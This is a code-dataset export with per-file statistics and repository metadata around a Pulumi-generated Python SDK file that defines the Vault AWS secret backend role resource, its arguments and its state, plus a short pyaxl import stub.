| 0.159568
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0.012195
| 0.012195
| 0
| 0.012195
| 0.302846
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
8fee2b3c935f3dbe6227716eff9c9862a8ba17ae
| 36,943
|
py
|
Python
|
sdk/python/pulumi_vault/aws/secret_backend_role.py
|
pulumi/pulumi-vault
|
1682875f4a5d7d508f36e166529ad2b8aec34090
|
[
"ECL-2.0",
"Apache-2.0"
] | 10
|
2019-10-07T17:44:18.000Z
|
2022-03-30T20:46:33.000Z
|
sdk/python/pulumi_vault/aws/secret_backend_role.py
|
pulumi/pulumi-vault
|
1682875f4a5d7d508f36e166529ad2b8aec34090
|
[
"ECL-2.0",
"Apache-2.0"
] | 79
|
2019-10-11T18:13:07.000Z
|
2022-03-31T21:09:41.000Z
|
sdk/python/pulumi_vault/aws/secret_backend_role.py
|
pulumi/pulumi-vault
|
1682875f4a5d7d508f36e166529ad2b8aec34090
|
[
"ECL-2.0",
"Apache-2.0"
] | 2
|
2019-10-28T10:08:40.000Z
|
2020-03-17T14:20:55.000Z
|
# coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from .. import _utilities
__all__ = ['SecretBackendRoleArgs', 'SecretBackendRole']
@pulumi.input_type
class SecretBackendRoleArgs:
def __init__(__self__, *,
backend: pulumi.Input[str],
credential_type: pulumi.Input[str],
default_sts_ttl: Optional[pulumi.Input[int]] = None,
iam_groups: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
max_sts_ttl: Optional[pulumi.Input[int]] = None,
name: Optional[pulumi.Input[str]] = None,
policy_arns: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
policy_document: Optional[pulumi.Input[str]] = None,
role_arns: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None):
"""
The set of arguments for constructing a SecretBackendRole resource.
:param pulumi.Input[str] backend: The path the AWS secret backend is mounted at,
with no leading or trailing `/`s.
:param pulumi.Input[str] credential_type: Specifies the type of credential to be used when
retrieving credentials from the role. Must be one of `iam_user`, `assumed_role`, or
`federation_token`.
:param pulumi.Input[int] default_sts_ttl: The default TTL in seconds for STS credentials.
When a TTL is not specified when STS credentials are requested,
and a default TTL is specified on the role,
then this default TTL will be used. Valid only when `credential_type` is one of
`assumed_role` or `federation_token`.
:param pulumi.Input[Sequence[pulumi.Input[str]]] iam_groups: A list of IAM group names. IAM users generated
against this vault role will be added to these IAM Groups. For a credential
type of `assumed_role` or `federation_token`, the policies sent to the
corresponding AWS call (sts:AssumeRole or sts:GetFederation) will be the
policies from each group in `iam_groups` combined with the `policy_document`
and `policy_arns` parameters.
:param pulumi.Input[int] max_sts_ttl: The max allowed TTL in seconds for STS credentials
(credentials TTL are capped to `max_sts_ttl`). Valid only when `credential_type` is
one of `assumed_role` or `federation_token`.
:param pulumi.Input[str] name: The name to identify this role within the backend.
Must be unique within the backend.
:param pulumi.Input[Sequence[pulumi.Input[str]]] policy_arns: Specifies a list of AWS managed policy ARNs. The
behavior depends on the credential type. With `iam_user`, the policies will be
attached to IAM users when they are requested. With `assumed_role` and
`federation_token`, the policy ARNs will act as a filter on what the credentials
can do, similar to `policy_document`. When `credential_type` is `iam_user` or
`federation_token`, at least one of `policy_document` or `policy_arns` must
be specified.
:param pulumi.Input[str] policy_document: The IAM policy document for the role. The
behavior depends on the credential type. With `iam_user`, the policy document
will be attached to the IAM user generated and augment the permissions the IAM
user has. With `assumed_role` and `federation_token`, the policy document will
act as a filter on what the credentials can do, similar to `policy_arns`.
:param pulumi.Input[Sequence[pulumi.Input[str]]] role_arns: Specifies the ARNs of the AWS roles this Vault role
is allowed to assume. Required when `credential_type` is `assumed_role` and
prohibited otherwise.
"""
pulumi.set(__self__, "backend", backend)
pulumi.set(__self__, "credential_type", credential_type)
if default_sts_ttl is not None:
pulumi.set(__self__, "default_sts_ttl", default_sts_ttl)
if iam_groups is not None:
pulumi.set(__self__, "iam_groups", iam_groups)
if max_sts_ttl is not None:
pulumi.set(__self__, "max_sts_ttl", max_sts_ttl)
if name is not None:
pulumi.set(__self__, "name", name)
if policy_arns is not None:
pulumi.set(__self__, "policy_arns", policy_arns)
if policy_document is not None:
pulumi.set(__self__, "policy_document", policy_document)
if role_arns is not None:
pulumi.set(__self__, "role_arns", role_arns)
@property
@pulumi.getter
def backend(self) -> pulumi.Input[str]:
"""
The path the AWS secret backend is mounted at,
with no leading or trailing `/`s.
"""
return pulumi.get(self, "backend")
@backend.setter
def backend(self, value: pulumi.Input[str]):
pulumi.set(self, "backend", value)
@property
@pulumi.getter(name="credentialType")
def credential_type(self) -> pulumi.Input[str]:
"""
Specifies the type of credential to be used when
retrieving credentials from the role. Must be one of `iam_user`, `assumed_role`, or
`federation_token`.
"""
return pulumi.get(self, "credential_type")
@credential_type.setter
def credential_type(self, value: pulumi.Input[str]):
pulumi.set(self, "credential_type", value)
@property
@pulumi.getter(name="defaultStsTtl")
def default_sts_ttl(self) -> Optional[pulumi.Input[int]]:
"""
The default TTL in seconds for STS credentials.
When a TTL is not specified when STS credentials are requested,
and a default TTL is specified on the role,
then this default TTL will be used. Valid only when `credential_type` is one of
`assumed_role` or `federation_token`.
"""
return pulumi.get(self, "default_sts_ttl")
@default_sts_ttl.setter
def default_sts_ttl(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "default_sts_ttl", value)
@property
@pulumi.getter(name="iamGroups")
def iam_groups(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]:
"""
A list of IAM group names. IAM users generated
against this vault role will be added to these IAM Groups. For a credential
type of `assumed_role` or `federation_token`, the policies sent to the
corresponding AWS call (sts:AssumeRole or sts:GetFederation) will be the
policies from each group in `iam_groups` combined with the `policy_document`
and `policy_arns` parameters.
"""
return pulumi.get(self, "iam_groups")
@iam_groups.setter
def iam_groups(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]):
pulumi.set(self, "iam_groups", value)
@property
@pulumi.getter(name="maxStsTtl")
def max_sts_ttl(self) -> Optional[pulumi.Input[int]]:
"""
The max allowed TTL in seconds for STS credentials
(credentials TTL are capped to `max_sts_ttl`). Valid only when `credential_type` is
one of `assumed_role` or `federation_token`.
"""
return pulumi.get(self, "max_sts_ttl")
@max_sts_ttl.setter
def max_sts_ttl(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "max_sts_ttl", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
The name to identify this role within the backend.
Must be unique within the backend.
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter(name="policyArns")
def policy_arns(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]:
"""
Specifies a list of AWS managed policy ARNs. The
behavior depends on the credential type. With `iam_user`, the policies will be
attached to IAM users when they are requested. With `assumed_role` and
`federation_token`, the policy ARNs will act as a filter on what the credentials
can do, similar to `policy_document`. When `credential_type` is `iam_user` or
`federation_token`, at least one of `policy_document` or `policy_arns` must
be specified.
"""
return pulumi.get(self, "policy_arns")
@policy_arns.setter
def policy_arns(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]):
pulumi.set(self, "policy_arns", value)
@property
@pulumi.getter(name="policyDocument")
def policy_document(self) -> Optional[pulumi.Input[str]]:
"""
The IAM policy document for the role. The
behavior depends on the credential type. With `iam_user`, the policy document
will be attached to the IAM user generated and augment the permissions the IAM
user has. With `assumed_role` and `federation_token`, the policy document will
act as a filter on what the credentials can do, similar to `policy_arns`.
"""
return pulumi.get(self, "policy_document")
@policy_document.setter
def policy_document(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "policy_document", value)
@property
@pulumi.getter(name="roleArns")
def role_arns(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]:
"""
Specifies the ARNs of the AWS roles this Vault role
is allowed to assume. Required when `credential_type` is `assumed_role` and
prohibited otherwise.
"""
return pulumi.get(self, "role_arns")
@role_arns.setter
def role_arns(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]):
pulumi.set(self, "role_arns", value)
@pulumi.input_type
class _SecretBackendRoleState:
def __init__(__self__, *,
backend: Optional[pulumi.Input[str]] = None,
credential_type: Optional[pulumi.Input[str]] = None,
default_sts_ttl: Optional[pulumi.Input[int]] = None,
iam_groups: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
max_sts_ttl: Optional[pulumi.Input[int]] = None,
name: Optional[pulumi.Input[str]] = None,
policy_arns: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
policy_document: Optional[pulumi.Input[str]] = None,
role_arns: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None):
"""
Input properties used for looking up and filtering SecretBackendRole resources.
:param pulumi.Input[str] backend: The path the AWS secret backend is mounted at,
with no leading or trailing `/`s.
:param pulumi.Input[str] credential_type: Specifies the type of credential to be used when
retrieving credentials from the role. Must be one of `iam_user`, `assumed_role`, or
`federation_token`.
:param pulumi.Input[int] default_sts_ttl: The default TTL in seconds for STS credentials.
When a TTL is not specified when STS credentials are requested,
and a default TTL is specified on the role,
then this default TTL will be used. Valid only when `credential_type` is one of
`assumed_role` or `federation_token`.
:param pulumi.Input[Sequence[pulumi.Input[str]]] iam_groups: A list of IAM group names. IAM users generated
against this vault role will be added to these IAM Groups. For a credential
type of `assumed_role` or `federation_token`, the policies sent to the
corresponding AWS call (sts:AssumeRole or sts:GetFederation) will be the
policies from each group in `iam_groups` combined with the `policy_document`
and `policy_arns` parameters.
:param pulumi.Input[int] max_sts_ttl: The max allowed TTL in seconds for STS credentials
(credentials TTL are capped to `max_sts_ttl`). Valid only when `credential_type` is
one of `assumed_role` or `federation_token`.
:param pulumi.Input[str] name: The name to identify this role within the backend.
Must be unique within the backend.
:param pulumi.Input[Sequence[pulumi.Input[str]]] policy_arns: Specifies a list of AWS managed policy ARNs. The
behavior depends on the credential type. With `iam_user`, the policies will be
attached to IAM users when they are requested. With `assumed_role` and
`federation_token`, the policy ARNs will act as a filter on what the credentials
can do, similar to `policy_document`. When `credential_type` is `iam_user` or
`federation_token`, at least one of `policy_document` or `policy_arns` must
be specified.
:param pulumi.Input[str] policy_document: The IAM policy document for the role. The
behavior depends on the credential type. With `iam_user`, the policy document
will be attached to the IAM user generated and augment the permissions the IAM
user has. With `assumed_role` and `federation_token`, the policy document will
act as a filter on what the credentials can do, similar to `policy_arns`.
:param pulumi.Input[Sequence[pulumi.Input[str]]] role_arns: Specifies the ARNs of the AWS roles this Vault role
is allowed to assume. Required when `credential_type` is `assumed_role` and
prohibited otherwise.
"""
if backend is not None:
pulumi.set(__self__, "backend", backend)
if credential_type is not None:
pulumi.set(__self__, "credential_type", credential_type)
if default_sts_ttl is not None:
pulumi.set(__self__, "default_sts_ttl", default_sts_ttl)
if iam_groups is not None:
pulumi.set(__self__, "iam_groups", iam_groups)
if max_sts_ttl is not None:
pulumi.set(__self__, "max_sts_ttl", max_sts_ttl)
if name is not None:
pulumi.set(__self__, "name", name)
if policy_arns is not None:
pulumi.set(__self__, "policy_arns", policy_arns)
if policy_document is not None:
pulumi.set(__self__, "policy_document", policy_document)
if role_arns is not None:
pulumi.set(__self__, "role_arns", role_arns)
@property
@pulumi.getter
def backend(self) -> Optional[pulumi.Input[str]]:
"""
The path the AWS secret backend is mounted at,
with no leading or trailing `/`s.
"""
return pulumi.get(self, "backend")
@backend.setter
def backend(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "backend", value)
@property
@pulumi.getter(name="credentialType")
def credential_type(self) -> Optional[pulumi.Input[str]]:
"""
Specifies the type of credential to be used when
retrieving credentials from the role. Must be one of `iam_user`, `assumed_role`, or
`federation_token`.
"""
return pulumi.get(self, "credential_type")
@credential_type.setter
def credential_type(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "credential_type", value)
@property
@pulumi.getter(name="defaultStsTtl")
def default_sts_ttl(self) -> Optional[pulumi.Input[int]]:
"""
The default TTL in seconds for STS credentials.
When a TTL is not specified when STS credentials are requested,
and a default TTL is specified on the role,
then this default TTL will be used. Valid only when `credential_type` is one of
`assumed_role` or `federation_token`.
"""
return pulumi.get(self, "default_sts_ttl")
@default_sts_ttl.setter
def default_sts_ttl(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "default_sts_ttl", value)
@property
@pulumi.getter(name="iamGroups")
def iam_groups(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]:
"""
A list of IAM group names. IAM users generated
against this vault role will be added to these IAM Groups. For a credential
type of `assumed_role` or `federation_token`, the policies sent to the
corresponding AWS call (sts:AssumeRole or sts:GetFederation) will be the
policies from each group in `iam_groups` combined with the `policy_document`
and `policy_arns` parameters.
"""
return pulumi.get(self, "iam_groups")
@iam_groups.setter
def iam_groups(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]):
pulumi.set(self, "iam_groups", value)
@property
@pulumi.getter(name="maxStsTtl")
def max_sts_ttl(self) -> Optional[pulumi.Input[int]]:
"""
The max allowed TTL in seconds for STS credentials
(credentials TTL are capped to `max_sts_ttl`). Valid only when `credential_type` is
one of `assumed_role` or `federation_token`.
"""
return pulumi.get(self, "max_sts_ttl")
@max_sts_ttl.setter
def max_sts_ttl(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "max_sts_ttl", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
The name to identify this role within the backend.
Must be unique within the backend.
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter(name="policyArns")
def policy_arns(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]:
"""
Specifies a list of AWS managed policy ARNs. The
behavior depends on the credential type. With `iam_user`, the policies will be
attached to IAM users when they are requested. With `assumed_role` and
`federation_token`, the policy ARNs will act as a filter on what the credentials
can do, similar to `policy_document`. When `credential_type` is `iam_user` or
`federation_token`, at least one of `policy_document` or `policy_arns` must
be specified.
"""
return pulumi.get(self, "policy_arns")
@policy_arns.setter
def policy_arns(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]):
pulumi.set(self, "policy_arns", value)
@property
@pulumi.getter(name="policyDocument")
def policy_document(self) -> Optional[pulumi.Input[str]]:
"""
The IAM policy document for the role. The
behavior depends on the credential type. With `iam_user`, the policy document
will be attached to the IAM user generated and augment the permissions the IAM
user has. With `assumed_role` and `federation_token`, the policy document will
act as a filter on what the credentials can do, similar to `policy_arns`.
"""
return pulumi.get(self, "policy_document")
@policy_document.setter
def policy_document(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "policy_document", value)
@property
@pulumi.getter(name="roleArns")
def role_arns(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]:
"""
Specifies the ARNs of the AWS roles this Vault role
is allowed to assume. Required when `credential_type` is `assumed_role` and
prohibited otherwise.
"""
return pulumi.get(self, "role_arns")
@role_arns.setter
def role_arns(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]):
pulumi.set(self, "role_arns", value)
class SecretBackendRole(pulumi.CustomResource):
@overload
def __init__(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
backend: Optional[pulumi.Input[str]] = None,
credential_type: Optional[pulumi.Input[str]] = None,
default_sts_ttl: Optional[pulumi.Input[int]] = None,
iam_groups: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
max_sts_ttl: Optional[pulumi.Input[int]] = None,
name: Optional[pulumi.Input[str]] = None,
policy_arns: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
policy_document: Optional[pulumi.Input[str]] = None,
role_arns: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
__props__=None):
"""
## Import
AWS secret backend roles can be imported using the `path`, e.g.
```sh
$ pulumi import vault:aws/secretBackendRole:SecretBackendRole role aws/roles/deploy
```
:param str resource_name: The name of the resource.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[str] backend: The path the AWS secret backend is mounted at,
with no leading or trailing `/`s.
:param pulumi.Input[str] credential_type: Specifies the type of credential to be used when
retrieving credentials from the role. Must be one of `iam_user`, `assumed_role`, or
`federation_token`.
:param pulumi.Input[int] default_sts_ttl: The default TTL in seconds for STS credentials.
When a TTL is not specified when STS credentials are requested,
and a default TTL is specified on the role,
then this default TTL will be used. Valid only when `credential_type` is one of
`assumed_role` or `federation_token`.
:param pulumi.Input[Sequence[pulumi.Input[str]]] iam_groups: A list of IAM group names. IAM users generated
against this vault role will be added to these IAM Groups. For a credential
type of `assumed_role` or `federation_token`, the policies sent to the
corresponding AWS call (sts:AssumeRole or sts:GetFederation) will be the
policies from each group in `iam_groups` combined with the `policy_document`
and `policy_arns` parameters.
:param pulumi.Input[int] max_sts_ttl: The max allowed TTL in seconds for STS credentials
(credentials TTL are capped to `max_sts_ttl`). Valid only when `credential_type` is
one of `assumed_role` or `federation_token`.
:param pulumi.Input[str] name: The name to identify this role within the backend.
Must be unique within the backend.
:param pulumi.Input[Sequence[pulumi.Input[str]]] policy_arns: Specifies a list of AWS managed policy ARNs. The
behavior depends on the credential type. With `iam_user`, the policies will be
attached to IAM users when they are requested. With `assumed_role` and
`federation_token`, the policy ARNs will act as a filter on what the credentials
can do, similar to `policy_document`. When `credential_type` is `iam_user` or
`federation_token`, at least one of `policy_document` or `policy_arns` must
be specified.
:param pulumi.Input[str] policy_document: The IAM policy document for the role. The
behavior depends on the credential type. With `iam_user`, the policy document
will be attached to the IAM user generated and augment the permissions the IAM
user has. With `assumed_role` and `federation_token`, the policy document will
act as a filter on what the credentials can do, similar to `policy_arns`.
:param pulumi.Input[Sequence[pulumi.Input[str]]] role_arns: Specifies the ARNs of the AWS roles this Vault role
is allowed to assume. Required when `credential_type` is `assumed_role` and
prohibited otherwise.
"""
...
@overload
def __init__(__self__,
resource_name: str,
args: SecretBackendRoleArgs,
opts: Optional[pulumi.ResourceOptions] = None):
"""
## Import
AWS secret backend roles can be imported using the `path`, e.g.
```sh
$ pulumi import vault:aws/secretBackendRole:SecretBackendRole role aws/roles/deploy
```
:param str resource_name: The name of the resource.
:param SecretBackendRoleArgs args: The arguments to use to populate this resource's properties.
:param pulumi.ResourceOptions opts: Options for the resource.
"""
...
def __init__(__self__, resource_name: str, *args, **kwargs):
resource_args, opts = _utilities.get_resource_args_opts(SecretBackendRoleArgs, pulumi.ResourceOptions, *args, **kwargs)
if resource_args is not None:
__self__._internal_init(resource_name, opts, **resource_args.__dict__)
else:
__self__._internal_init(resource_name, *args, **kwargs)
def _internal_init(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
backend: Optional[pulumi.Input[str]] = None,
credential_type: Optional[pulumi.Input[str]] = None,
default_sts_ttl: Optional[pulumi.Input[int]] = None,
iam_groups: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
max_sts_ttl: Optional[pulumi.Input[int]] = None,
name: Optional[pulumi.Input[str]] = None,
policy_arns: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
policy_document: Optional[pulumi.Input[str]] = None,
role_arns: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
__props__=None):
if opts is None:
opts = pulumi.ResourceOptions()
if not isinstance(opts, pulumi.ResourceOptions):
raise TypeError('Expected resource options to be a ResourceOptions instance')
if opts.version is None:
opts.version = _utilities.get_version()
if opts.id is None:
if __props__ is not None:
raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource')
__props__ = SecretBackendRoleArgs.__new__(SecretBackendRoleArgs)
if backend is None and not opts.urn:
raise TypeError("Missing required property 'backend'")
__props__.__dict__["backend"] = backend
if credential_type is None and not opts.urn:
raise TypeError("Missing required property 'credential_type'")
__props__.__dict__["credential_type"] = credential_type
__props__.__dict__["default_sts_ttl"] = default_sts_ttl
__props__.__dict__["iam_groups"] = iam_groups
__props__.__dict__["max_sts_ttl"] = max_sts_ttl
__props__.__dict__["name"] = name
__props__.__dict__["policy_arns"] = policy_arns
__props__.__dict__["policy_document"] = policy_document
__props__.__dict__["role_arns"] = role_arns
super(SecretBackendRole, __self__).__init__(
'vault:aws/secretBackendRole:SecretBackendRole',
resource_name,
__props__,
opts)
@staticmethod
def get(resource_name: str,
id: pulumi.Input[str],
opts: Optional[pulumi.ResourceOptions] = None,
backend: Optional[pulumi.Input[str]] = None,
credential_type: Optional[pulumi.Input[str]] = None,
default_sts_ttl: Optional[pulumi.Input[int]] = None,
iam_groups: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
max_sts_ttl: Optional[pulumi.Input[int]] = None,
name: Optional[pulumi.Input[str]] = None,
policy_arns: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
policy_document: Optional[pulumi.Input[str]] = None,
role_arns: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None) -> 'SecretBackendRole':
"""
Get an existing SecretBackendRole resource's state with the given name, id, and optional extra
properties used to qualify the lookup.
:param str resource_name: The unique name of the resulting resource.
:param pulumi.Input[str] id: The unique provider ID of the resource to lookup.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[str] backend: The path the AWS secret backend is mounted at,
with no leading or trailing `/`s.
:param pulumi.Input[str] credential_type: Specifies the type of credential to be used when
retrieving credentials from the role. Must be one of `iam_user`, `assumed_role`, or
`federation_token`.
:param pulumi.Input[int] default_sts_ttl: The default TTL in seconds for STS credentials.
When a TTL is not specified when STS credentials are requested,
and a default TTL is specified on the role,
then this default TTL will be used. Valid only when `credential_type` is one of
`assumed_role` or `federation_token`.
:param pulumi.Input[Sequence[pulumi.Input[str]]] iam_groups: A list of IAM group names. IAM users generated
against this vault role will be added to these IAM Groups. For a credential
type of `assumed_role` or `federation_token`, the policies sent to the
corresponding AWS call (sts:AssumeRole or sts:GetFederation) will be the
policies from each group in `iam_groups` combined with the `policy_document`
and `policy_arns` parameters.
:param pulumi.Input[int] max_sts_ttl: The max allowed TTL in seconds for STS credentials
(credentials TTL are capped to `max_sts_ttl`). Valid only when `credential_type` is
one of `assumed_role` or `federation_token`.
:param pulumi.Input[str] name: The name to identify this role within the backend.
Must be unique within the backend.
:param pulumi.Input[Sequence[pulumi.Input[str]]] policy_arns: Specifies a list of AWS managed policy ARNs. The
behavior depends on the credential type. With `iam_user`, the policies will be
attached to IAM users when they are requested. With `assumed_role` and
`federation_token`, the policy ARNs will act as a filter on what the credentials
can do, similar to `policy_document`. When `credential_type` is `iam_user` or
`federation_token`, at least one of `policy_document` or `policy_arns` must
be specified.
:param pulumi.Input[str] policy_document: The IAM policy document for the role. The
behavior depends on the credential type. With `iam_user`, the policy document
will be attached to the IAM user generated and augment the permissions the IAM
user has. With `assumed_role` and `federation_token`, the policy document will
act as a filter on what the credentials can do, similar to `policy_arns`.
:param pulumi.Input[Sequence[pulumi.Input[str]]] role_arns: Specifies the ARNs of the AWS roles this Vault role
is allowed to assume. Required when `credential_type` is `assumed_role` and
prohibited otherwise.
"""
opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id))
__props__ = _SecretBackendRoleState.__new__(_SecretBackendRoleState)
__props__.__dict__["backend"] = backend
__props__.__dict__["credential_type"] = credential_type
__props__.__dict__["default_sts_ttl"] = default_sts_ttl
__props__.__dict__["iam_groups"] = iam_groups
__props__.__dict__["max_sts_ttl"] = max_sts_ttl
__props__.__dict__["name"] = name
__props__.__dict__["policy_arns"] = policy_arns
__props__.__dict__["policy_document"] = policy_document
__props__.__dict__["role_arns"] = role_arns
return SecretBackendRole(resource_name, opts=opts, __props__=__props__)
@property
@pulumi.getter
def backend(self) -> pulumi.Output[str]:
"""
The path the AWS secret backend is mounted at,
with no leading or trailing `/`s.
"""
return pulumi.get(self, "backend")
@property
@pulumi.getter(name="credentialType")
def credential_type(self) -> pulumi.Output[str]:
"""
Specifies the type of credential to be used when
retrieving credentials from the role. Must be one of `iam_user`, `assumed_role`, or
`federation_token`.
"""
return pulumi.get(self, "credential_type")
@property
@pulumi.getter(name="defaultStsTtl")
def default_sts_ttl(self) -> pulumi.Output[int]:
"""
The default TTL in seconds for STS credentials.
When a TTL is not specified when STS credentials are requested,
and a default TTL is specified on the role,
then this default TTL will be used. Valid only when `credential_type` is one of
`assumed_role` or `federation_token`.
"""
return pulumi.get(self, "default_sts_ttl")
@property
@pulumi.getter(name="iamGroups")
def iam_groups(self) -> pulumi.Output[Optional[Sequence[str]]]:
"""
A list of IAM group names. IAM users generated
against this vault role will be added to these IAM Groups. For a credential
type of `assumed_role` or `federation_token`, the policies sent to the
corresponding AWS call (sts:AssumeRole or sts:GetFederation) will be the
policies from each group in `iam_groups` combined with the `policy_document`
and `policy_arns` parameters.
"""
return pulumi.get(self, "iam_groups")
@property
@pulumi.getter(name="maxStsTtl")
def max_sts_ttl(self) -> pulumi.Output[int]:
"""
The max allowed TTL in seconds for STS credentials
(credentials TTL are capped to `max_sts_ttl`). Valid only when `credential_type` is
one of `assumed_role` or `federation_token`.
"""
return pulumi.get(self, "max_sts_ttl")
@property
@pulumi.getter
def name(self) -> pulumi.Output[str]:
"""
The name to identify this role within the backend.
Must be unique within the backend.
"""
return pulumi.get(self, "name")
@property
@pulumi.getter(name="policyArns")
def policy_arns(self) -> pulumi.Output[Optional[Sequence[str]]]:
"""
Specifies a list of AWS managed policy ARNs. The
behavior depends on the credential type. With `iam_user`, the policies will be
attached to IAM users when they are requested. With `assumed_role` and
`federation_token`, the policy ARNs will act as a filter on what the credentials
can do, similar to `policy_document`. When `credential_type` is `iam_user` or
`federation_token`, at least one of `policy_document` or `policy_arns` must
be specified.
"""
return pulumi.get(self, "policy_arns")
@property
@pulumi.getter(name="policyDocument")
def policy_document(self) -> pulumi.Output[Optional[str]]:
"""
The IAM policy document for the role. The
behavior depends on the credential type. With `iam_user`, the policy document
will be attached to the IAM user generated and augment the permissions the IAM
user has. With `assumed_role` and `federation_token`, the policy document will
act as a filter on what the credentials can do, similar to `policy_arns`.
"""
return pulumi.get(self, "policy_document")
@property
@pulumi.getter(name="roleArns")
def role_arns(self) -> pulumi.Output[Optional[Sequence[str]]]:
"""
Specifies the ARNs of the AWS roles this Vault role
is allowed to assume. Required when `credential_type` is `assumed_role` and
prohibited otherwise.
"""
return pulumi.get(self, "role_arns")
| 50.815681
| 134
| 0.651869
| 4,744
| 36,943
| 4.895447
| 0.044477
| 0.075784
| 0.056063
| 0.041982
| 0.922666
| 0.913193
| 0.90639
| 0.900233
| 0.895625
| 0.886066
| 0
| 0.000037
| 0.261917
| 36,943
| 726
| 135
| 50.885675
| 0.851689
| 0.49885
| 0
| 0.796875
| 1
| 0
| 0.090857
| 0.004167
| 0
| 0
| 0
| 0
| 0
| 1
| 0.1625
| false
| 0.003125
| 0.015625
| 0
| 0.275
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
8ff634a7934e172e712b711985cd641877f15294
| 91
|
py
|
Python
|
src/pyaxl/__init__.py
|
TeaObvious/pyaxl
|
6c359e37415386359b632e3f1e52a29df56163b5
|
[
"ZPL-2.1"
] | 7
|
2017-03-07T20:18:10.000Z
|
2019-08-21T12:36:51.000Z
|
src/pyaxl/__init__.py
|
TeaObvious/pyaxl
|
6c359e37415386359b632e3f1e52a29df56163b5
|
[
"ZPL-2.1"
] | 3
|
2016-10-12T17:29:49.000Z
|
2016-11-26T09:05:46.000Z
|
src/pyaxl/__init__.py
|
bielbienne/pyaxl
|
0991bbafab7235c4b2f21f234c317ccd639a3e51
|
[
"ZPL-2.1"
] | 8
|
2017-10-30T03:06:58.000Z
|
2021-12-13T13:42:37.000Z
|
from pyaxl.configuration import registry
from pyaxl.configuration import AXLClientSettings
| 30.333333
| 49
| 0.89011
| 10
| 91
| 8.1
| 0.6
| 0.222222
| 0.54321
| 0.691358
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.087912
| 91
| 2
| 50
| 45.5
| 0.975904
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
8f71959f156e1a16a9c4c2bed5034ef4d99edf57
| 13,708
|
py
|
Python
|
tests/test_validator.py
|
ens-lgil/gwas-sumstats-validator
|
b24bd57df2cf1e1346790bc5c632ff559f17777e
|
[
"Apache-2.0"
] | null | null | null |
tests/test_validator.py
|
ens-lgil/gwas-sumstats-validator
|
b24bd57df2cf1e1346790bc5c632ff559f17777e
|
[
"Apache-2.0"
] | null | null | null |
